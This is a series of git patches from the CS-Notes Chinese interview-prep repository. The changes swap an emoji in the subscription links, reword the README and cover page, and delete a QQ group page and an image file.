+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
 * [二、磁盘操作](#二磁盘操作)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index 65aa0338..d057f460 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、数据类型](#一数据类型)
     * [包装类型](#包装类型)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index a6f2a2e1..b8d63ee5 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
     * [Collection](#collection)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index 0d53dc9b..1fb8c09d 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、线程状态转换](#一线程状态转换)
     * [新建（New）](#新建new)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index a74e19c5..2e84b2d0 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 6fdece2d..333d26ab 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [算法思想](#算法思想)
     * [双指针](#双指针)
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index 932b8149..771f4097 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [595. Big Countries](#595-big-countries)
 * [627. Swap Salary](#627-swap-salary)
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index 69371004..53b42aa0 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、常用操作以及概念](#一常用操作以及概念)
     * [快捷键](#快捷键)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index 4fbe6f0d..2e02dd13 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、索引](#一索引)
     * [B+ Tree 原理](#b-tree-原理)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index b7feaa69..5bc45b1a 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、数据类型](#二数据类型)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 93d1aee2..6c91b614 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index 91389125..eb719e59 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、I/O 模型](#一io-模型)
     * [阻塞式 I/O](#阻塞式-io)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index 4f20e27d..7762ae13 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、可读性的重要性](#一可读性的重要性)
 * [二、用名字表达代码含义](#二用名字表达代码含义)
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index cd4e0466..18bb44a0 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 <!-- GFM-TOC -->
 
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index 857f644d..564149e9 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、分布式锁](#一分布式锁)
     * [数据库的唯一索引](#数据库的唯一索引)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 38fe4e25..c6047bba 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index d7f75c73..6194c626 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、跨站脚本攻击](#一跨站脚本攻击)
 * [二、跨站请求伪造](#二跨站请求伪造)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index 3fd3ae1c..75f53220 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、事务](#一事务)
     * [概念](#概念)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index 68ed4031..3e47514f 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、构建工具的作用](#一构建工具的作用)
 * [二、Java 主流构建工具](#二java-主流构建工具)
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index cce8bc91..27e265e7 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、匹配单个字符](#二匹配单个字符)
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index 3f574081..9b4125cb 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、消息模型](#一消息模型)
     * [点对点](#点对点)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index 01639aaf..e9e497f0 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、前言](#一前言)
 * [二、算法分析](#二算法分析)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index 8a601505..06681eaa 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、性能](#一性能)
 * [二、伸缩性](#二伸缩性)
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index 95950dc6..4b8c91d6 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、缓存特征](#一缓存特征)
 * [二、LRU](#二lru)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 3ed41754..e55b5744 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [基本特征](#基本特征)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index fcd595fd..27a342cf 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index 71d49d93..4f28cdbf 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、创建型](#二创建型)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index 0de91f7b..2c6e29ec 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index 4070d460..46fd2596 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[👉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
+[🍉 点击订阅面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From a542e755ae31237f26669f4b4099ca062dd1e8eb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:38:28 +0800
Subject: [PATCH 077/100] Update _coverpage.md

---
 docs/_coverpage.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/_coverpage.md b/docs/_coverpage.md
index 9b430bf8..7cafb660 100644
--- a/docs/_coverpage.md
+++ b/docs/_coverpage.md
@@ -2,7 +2,7 @@
 
 # CS-Notes
 
-- 本项目包含了技术面试必备的基础知识，这些内容从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅我 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+- 本项目包含了技术面试必备的基础知识，这些内容从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 
 <span id="busuanzi_container_site_pv">Site View : <span id="busuanzi_value_site_pv">
 

From 749accde8d81261101a07b34b54b4eb39479b8ec Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:44:04 +0800
Subject: [PATCH 078/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index d513b96c..67629183 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 🍉 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From fca394c65a7fe42b09c9a2a39ef39b492d7fc4fc Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:44:31 +0800
Subject: [PATCH 079/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 67629183..8ae95a54 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 🍉 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅<a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From a759db72d12e5b7ba3c58757d07402b8c8c8be36 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 16:44:54 +0800
Subject: [PATCH 080/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 8ae95a54..d513b96c 100644
--- a/README.md
+++ b/README.md
@@ -3,7 +3,7 @@
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
     <br> <br>
-    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅<a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
+    本项目包含了技术面试必备的基础知识，这些内容是从众多计算机经典书籍总结而来，浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握，从而节省宝贵的面试复习时间。如果你觉得本项目对你有帮助，并且希望更进一步学习，可以考虑订阅 <a href="https://xiaozhuanlan.com/CyC2018">面试进阶专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 </div> 
 
 <br>

From 1228acc311826352f70538e907e36d36c7e36261 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 18:48:31 +0800
Subject: [PATCH 081/100] auto commit

---
 other/Group.md | 7 -------
 1 file changed, 7 deletions(-)
 delete mode 100644 other/Group.md

diff --git a/other/Group.md b/other/Group.md
deleted file mode 100644
index 12a8c318..00000000
--- a/other/Group.md
+++ /dev/null
@@ -1,7 +0,0 @@
-</br> 
-<div align="center">
-  <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="300px"></br>
-  <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
-</div> 
-
-

From 0baeb9d45f614cee55f1bdd67ddc198944e8a58b Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 22:51:18 +0800
Subject: [PATCH 082/100] auto commit

---
 other/planet4.jpg | Bin 1504495 -> 0 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 other/planet4.jpg

diff --git a/other/planet4.jpg b/other/planet4.jpg
deleted file mode 100644
index 0983b12c09577c2d0faac4f3e0af5a2ce5026a89..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 1504495
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
